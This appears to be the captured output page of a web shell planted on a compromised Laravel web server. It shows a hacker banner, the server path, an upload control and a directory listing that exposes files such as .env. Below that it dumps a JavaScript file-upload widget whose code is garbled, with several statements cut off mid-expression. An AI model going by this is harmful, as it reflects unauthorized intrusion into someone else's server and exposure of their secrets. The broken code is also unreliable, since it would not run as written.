I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
import{icons}from "./fileholder-icon.js";import{fileHolderData}from "./fileholder-data.js";import{fileHolderElementClass}from "./fileholder-element-class.js";import{fileHolderSettings,fileHolderAttr}from "./fileholder-settings.js";import{fileHolderFunctions}from "./fileholder-core.js";var fileHolderLoadElementAll=document.querySelectorAll('.file-holder');function fileHolderLayout(fileHolderLoadElement){let fileHolderMainWrpElement=document.createElement('div');fileHolderMainWrpElement.classList.add(fileHolderElementClass.mainWrapClass);let fileHolderContentElement=document.createElement('div');fileHolderContentElement.classList.add(fileHolderElementClass.contentClass);fileHolderMainWrpElement.append(fileHolderContentElement);let fileHolderIconTitleWrp=document.createElement('div');fileHolderIconTitleWrp.classList.add(fileHolderElementClass.iconTitleWrpClass);fileHolderContentElement.prepend(fileHolderIconTitleWrp);let fileHolderDragDropBoxElement=document.createElement('div');fileHolderDragDropBoxElement.classList.add(fileHolderElementClass.dragDropBoxClass);fileHolderIconTitleWrp.append(fileHolderDragDropBoxElement);let fileHolderDropTextWrpElement=fileHolderAppend(fileHolderContentElement,fileHolderElementClass.dropTextWrpElementClass);let fileHolderDropTextElement=fileHolderAppend(fileHolderDropTextWrpElement,fileHolderElementClass.dropTextElementClass);fileHolderInnerText(fileHolderDropTextElement,fileHolderData.dropText);fileHolderLoadElement.insertAdjacentHTML("afterend",`${fileHolderMainWrpElement.outerHTML}`);}
function fileHolderAppend(motherElement,appendElementClass=null,elementType="div"){let element=document.createElement(elementType);element.classList.add(appendElementClass);motherElement.append(element);return element;}
function fileHolderInnerText(element,text){element.textContent=text;}
window.addEventListener("load",function(){fileHolderLoadElementAll.forEach(function(fileHolderLoadElement,fileHolderIndex){if(fileHolderLoadElement!=null){var fileHolderHeight=fileHolderSettings.defaultHeight;if(fileHolderLoadElement.getAttribute('data-height')){if(parseInt(fileHolderLoadElement.getAttribute('data-height')){event.preventDefault();event.target.classList.add(fileHolderElementClass.dragOverClass);});['dragleave','dragend'].forEach(type=>{fileHolderWrpElement.addEventListener(type,event=>{event.target.classList.remove(fileHolderElementClass.dragOverClass);});});fileHolderWrpElement.addEventListener("drop",event=>{event.preventDefault();event.target.classList.remove(fileHolderElementClass.dragOverClass);let dropFiles=event.dataTransfer.files;let fileHolderValidationOutput=fileHolderValidation(dropFiles,fileInputElement);fileHolderValidatedFiles(fileHolderValidationOutput);});}
function fileHolderClickToUpload(fileHolder,fileInputElement){fileHolder.addEventListener("click",(event)=>{if(event.target.closest("."+fileHolderElementClass.singleFileViewElementClass)==null){fileInputElement.click();}});fileInputElement.addEventListener("change",(event)=>{let selectedFiles=event.target.files;let fileHolderValidationOutput=fileHolderValidation(selectedFiles,fileInputElement);fileHolderValidatedFiles(fileHolderValidationOutput);});}
function fileHolderValidatedFiles(fileInfoObj){let fileInputElement=fileInfoObj.fileInputElement;let fileHolderValidFiles=fileInfoObj.fileHolderDataTransfer.files;let fileHolderFilesViewWrpElement=fileHolderFilesViewLayout(fileInputElement);let validMimes=fileInfoObj.validMimes;let inputMultiple=fileHolderCheckInputMultiple(fileInputElement);if(inputMultiple==true){let oldFiles=fileInputElement.files;}else{fileInputElement.files=fileHolderValidFiles;fileHolderFilesViewWrpElement.classList.add("accept-single-file");}
if(fileHolderValidFiles.length>0){Object.keys(fileHolderValidFiles).forEach((index)=>{let fileHolderSingleFileWrp=fileHolderSingleFileViewLayout(fileHolderFilesViewWrpElement,fileHolderValidFiles[index],validMimes);});fileHolderDragAndDropBoxTitleRemove(fileInputElement);}}
function fileHolderDragAndDropBoxTitleRemove(fileInputElement){let fileHolder=fileInputElement.nextSibling;if(fileHolder.classList.contains(fileHolderElementClass.mainWrapClass)){let fileHolderFilesWrapElement=fileHolder.querySelector("."+fileHolderElementClass.filesViewWrpElementClass);if(fileHolderFilesWrapElement.children.length>0){let fileHolderDragAndDropTitleWrap=fileHolder.querySelector("."+fileHolderElementClass.iconTitleWrpClass);fileHolderDragAndDropTitleWrap.style.display="none";}}}
function fileHolderCheckInputMultiple(inputElement){if(inputElement.hasAttribute("multiple")){return true;}
return false;}
function fileHolderSingleFileViewLayout(filesWrp,validFile,validMimes){let fileHolderSingleFileWrp=fileHolderAppend(filesWrp,fileHolderElementClass.singleFileViewElementClass);let fileHolderFileType=validFile.type.split("/").shift();if(fileHolderFileType=="image"){fileHolderLoadImage(fileHolderSingleFileWrp,validFile,validMimes);}}
function fileHolderLoadImage(wrapperElement,imageFile,validMimes){let fileHolderImageWrpElement=fileHolderAppend(wrapperElement,fileHolderElementClass.imageWrpElementClass);fileHolderFunctions.fileHolderBasicLoading(fileHolderImageWrpElement);setTimeout(timeoutFunc,500);function timeoutFunc(){let fileHolderImageElement=fileHolderAppend(fileHolderImageWrpElement,fileHolderElementClass.imageClass,"img");fileHolderSingleFileFooterLayout(wrapperElement);let fileHolderFileReader=new FileReader();fileHolderFileReader.readAsDataURL(imageFile);fileHolderFileReader.onloadend=()=>{fileHolderImageElement.setAttribute("src",fileHolderFileReader.result);fileHolderImageElement.classList.add(fileHolderElementClass.basicShow);fileHolderFunctions.fileHolderServerInit(fileHolderSettings.urls,imageFile,wrapperElement,validMimes);}
URL.createObjectURL(imageFile);}}
function fileHolderSingleFileFooterLayout(motherElement){let footerMainWrapElement=fileHolderAppend(motherElement,fileHolderElementClass.singleFileFooter);let footerTitleElement=fileHolderAppend(footerMainWrapElement,fileHolderElementClass.fileTitleClass);let footerProgressBarElement=fileHolderAppend(footerMainWrapElement,fileHolderElementClass.fileProgressBarClass);let footerProgressBarInnerElement=fileHolderAppend(footerProgressBarElement,fileHolderElementClass.fileProgressBarInnerElementClass);let footerProgressDetailsElement=fileHolderAppend(footerMainWrapElement,fileHolderElementClass.fileProgressDetails);let fileTotalSizeAndLoadedElement=fileHolderAppend(footerProgressDetailsElement,fileHolderElementClass.totalSizeAndLoadedClass);let fileHodlerTotalSizeElement=fileHolderAppend(fileTotalSizeAndLoadedElement,fileHolderElementClass.fileTotalSizeElementClass,"span");let fileHolderLoadedSizeElement=fileHolderAppend(fileTotalSizeAndLoadedElement,fileHolderElementClass.fileTotalLoadedElementClass,"span");let fileHolderLoadedPercentageElement=fileHolderAppend(footerProgressDetailsElement,fileHolderElementClass.fileLoadedPercentageElementClass);}
function fileHolderValidation(uploadFiles,fileInputElement){if(fileInputElement.hasAttribute("accept")){let validationRules=fileInputElement.getAttribute("accept");let validMimes=fileHolderCheckValidValidationMimes(validationRules,fileInputElement);let limitValidation=fileHolderFileLimitValidation(uploadFiles,fileInputElement);uploadFiles=limitValidation.acceptFiles;let sizeValidation=fileHolderFileSizeValidation(uploadFiles,fileInputElement);uploadFiles=sizeValidation.acceptFiles;let fileHolderDataTransfer=new DataTransfer();Object.keys(uploadFiles).forEach((index)=>{let ext_type=uploadFiles[index].type;let file_ext=ext_type.split("/").pop();if(!validMimes.includes(file_ext)){alert("File must be type of: "+validMimes.join(",")+
"This File Information: Name- "+uploadFiles[index].name+", File Extension - "+ext_type+". So fileHolder skip this file.");}else{fileHolderDataTransfer.items.add(uploadFiles[index]);}});return{fileHolderDataTransfer:fileHolderDataTransfer,fileInputElement:fileInputElement,validMimes:validMimes,};}}
function fileHolderFileSizeValidation(files,inputElement){let acceptFiles=[];if(inputElement.hasAttribute(fileHolderAttr.fileMazSize)){let fileMaxSize=inputElement.getAttribute(fileHolderAttr.fileMazSize);Object.keys(files).forEach((index,item)=>{let fileSizeMB=fileHolderGetFileSizeMB(files[item]);if(Math.ceil(fileMaxSize)>Math.ceil(fileSizeMB)){Array.prototype.push.call(acceptFiles,files[item]);}else{alert("File size is two long. Please make sure your file size is max: "+fileMaxSize+". File Name: "+files[item].name+", File Size: "+files[item].size+".");}});}else{acceptFiles=files;}
return{acceptFiles:acceptFiles,};}
function fileHolderGetFileSizeMB(file){let rowSize=file.size;let fileSizeKB="";let fileSizeMB="";if(isNaN(rowSize)||rowSize<0){alert("File Size is not a number. Please enter a valid file. File Name "+file.name+" .");}else{fileSizeKB=parseFloat(rowSize/1024).toFixed(2);fileSizeMB=parseFloat(fileSizeKB/1024).toFixed(2);}
return fileSizeMB;}
function fileHolderFileLimitValidation(files,inputElement){let multipleAttr=inputElement.getAttribute("multiple");let multipleFiles=false;let filePreviewLimit=0;let fileLimit=0;if(multipleAttr!=null){multipleFiles=true;filePreviewLimit=false;}
if(multipleFiles==true){let fileLimitAttr=inputElement.getAttribute(fileHolderAttr.maxFileLimit);if(fileLimitAttr!=null){if(isNaN(fileLimitAttr)||fileLimitAttr<=0||fileLimitAttr==""){alert("Please enter a valid file limit number or remove ("+fileHolderAttr.maxFileLimit+") from input field.");}else{fileLimit=fileLimitAttr;filePreviewLimit=fileLimitAttr;}}else{fileLimit=files.length;}}else{fileLimit=1;filePreviewLimit=1;}
if(inputElement.nextSibling.classList.contains(fileHolderElementClass.mainWrapClass)===true){let previewdFilesCount=inputElement.nextSibling.querySelectorAll("."+fileHolderElementClass.singleFileViewElementClass).length;if(filePreviewLimit!=false){if(parseInt(previewdFilesCount){let dot=item.match(/\./g);let slash=item.match(/\//g);let fileInputElement=inputField;if(dot!=null){let dotCount=dot.length;if(dotCount==1){let extension=item.split('.').pop();if(fileHolderFileExtensionValidation(extension)===true){if(!mimesCollection.includes(extension)){mimesCollection.push(extension);}}}else{alert("Input Field Extension is Invalid! Every extension can contain only one dot. Extension Position: "+(parseInt(index)+1)+", Extension Name: "+item+". Please fix it. Otherwise this Extension is not countable. Input field details: Type="+fileInputElement.getAttribute("type")+", Class= "+fileInputElement.getAttribute("class")+", Name= "+fileInputElement.getAttribute("name"));}}else if(slash!=null){let slashCount=slash.length;if(slashCount==1){var extension=item.split('/').pop();let extensionType=item.split('/').shift();let getAllExtensions=fileHolderGetExtensions(extensionType,extension);getAllExtensions.forEach(singleExt=>{if(!mimesCollection.includes(singleExt)){mimesCollection.push(singleExt);}});}else{alert("Input Field Extension Name is Invalid! Every extension can contain only one Slash. Extension Position: "+(parseInt(index)+1)+", Extension Name: "+item+". Please fix it. Otherwise this Extension is not countable. Input field details: Type="+fileInputElement.getAttribute("type")+", Class= "+fileInputElement.getAttribute("class")+", Name= "+fileInputElement.getAttribute("name"));}}});return mimesCollection;}
function fileHolderAllfileExtensions(){let allExtensions=fileHolderData.fileExtensions;let allExtensionsMerge=[];Object.keys(allExtensions).forEach((index)=>{allExtensions[index].forEach(singleExt=>{allExtensionsMerge.push(singleExt);});});return allExtensionsMerge;}
function fileHolderFileExtensionValidation(extension,type=null){let allFileExt=fileHolderAllfileExtensions();if(type==null){if(allFileExt.includes(extension)){return true;}else{alert("Input Filed Extension: '"+extension+"' is not available right now on fileHolder. We will update it in our next version.");}}
return false;}
function fileHolderGetExtensions(type,ext){let fileHolderValidFileTypes=fileHolderData.validFileTypes;if(fileHolderValidFileTypes.includes(type)===true){if(type=="image"){if(fileHolderData.fileExtensions.image){if(ext=="*"){return fileHolderData.fileExtensions.image;}else{if(fileHolderData.fileExtensions.image.includes(ext)){return[ext];}else{alert("File Extension Type: "+type+" & Extension: "+ext+" is not available on fileHolder. We will marge it in our next update.");}}}else{alert("File Extension Type: "+type+" is not available on fileHolder. We will marge it in our next update.");}}else{alert("Opps! Currently This Extension Type: "+type+" is not available in fileHolder. We will update it soon.");return[];}}else{alert("File Extension Type: '"+type+"' is invalid. Please Enter a valid type.");}}
function fileHolderPreviewOldFiles(inputField){let multiple=false;if(inputField.hasAttribute("multiple")){multiple=true;}
if(inputField.hasAttribute(fileHolderAttr.filePreviewPath)&&inputField.getAttribute(fileHolderAttr.filePreviewPath)!=""){if(inputField.hasAttribute(fileHolderAttr.filePreviewName)&&inputField.getAttribute(fileHolderAttr.filePreviewName)!=""){let filePreviewPath=inputField.getAttribute(fileHolderAttr.filePreviewPath);let filePreviewName=inputField.getAttribute(fileHolderAttr.filePreviewName);if(Array.isArray(filePreviewName)){if(multiple===true){return true;}}else{let fileFullLink=filePreviewPath+"/"+filePreviewName;let fileHolderFilesViewWrap=fileHolderFilesViewLayout(inputField);let fileHolderPreviewFile=fileHolderFilesViewWrap.querySelector("."+fileHolderElementClass.singleFileViewElementClass);if(fileHolderPreviewFile!=null){fileHolderPreviewFile.remove();}
if(fileHolderData.fileExtensions.image.includes(filePreviewName.split(".").pop())){let fileHolderFilePreviewElement=fileHolderAppend(fileHolderFilesViewWrap,fileHolderElementClass.singleFileViewElementClass);fileHolderDragAndDropBoxTitleRemove(inputField);fileHolderFilesViewWrap.classList.add(fileHolderElementClass.singlePreviewClass);let fileHolderImageElement=fileHolderAppend(fileHolderFilePreviewElement,fileHolderElementClass.previewImageTagClass,"img");fileHolderImageElement.setAttribute("src",fileFullLink);fileHolderImageElement.setAttribute("alt","Preview");fileHolderPreviewFileCloseLayout(fileHolderFilePreviewElement);}else{alert("preview file can't support in fileholder. We will update it in out next version.");}
return true;}}}
fileHolderRemoveOldFilesAndViewDefaultLayout(inputField);}
function fileHolderRemoveOldFilesAndViewDefaultLayout(inputField){let fileHolder=inputField.nextElementSibling;if(fileHolder==null){if(fileHolderInit(inputField)==true){var fileHolderHeight=fileHolderSettings.defaultHeight;if(inputField.getAttribute('data-height')){if(parseInt(inputField.getAttribute('data-height')){let confirmAlert=confirm("Are you sure?");if(confirmAlert===true){fileHolderFunctions.fileHolderElementRemoveAnimation(previewElement);}});}
export const previewFunctions={previewReInit:function(inputField){if(inputField==null){return false;}
fileHolderPreviewOldFiles(inputField);}}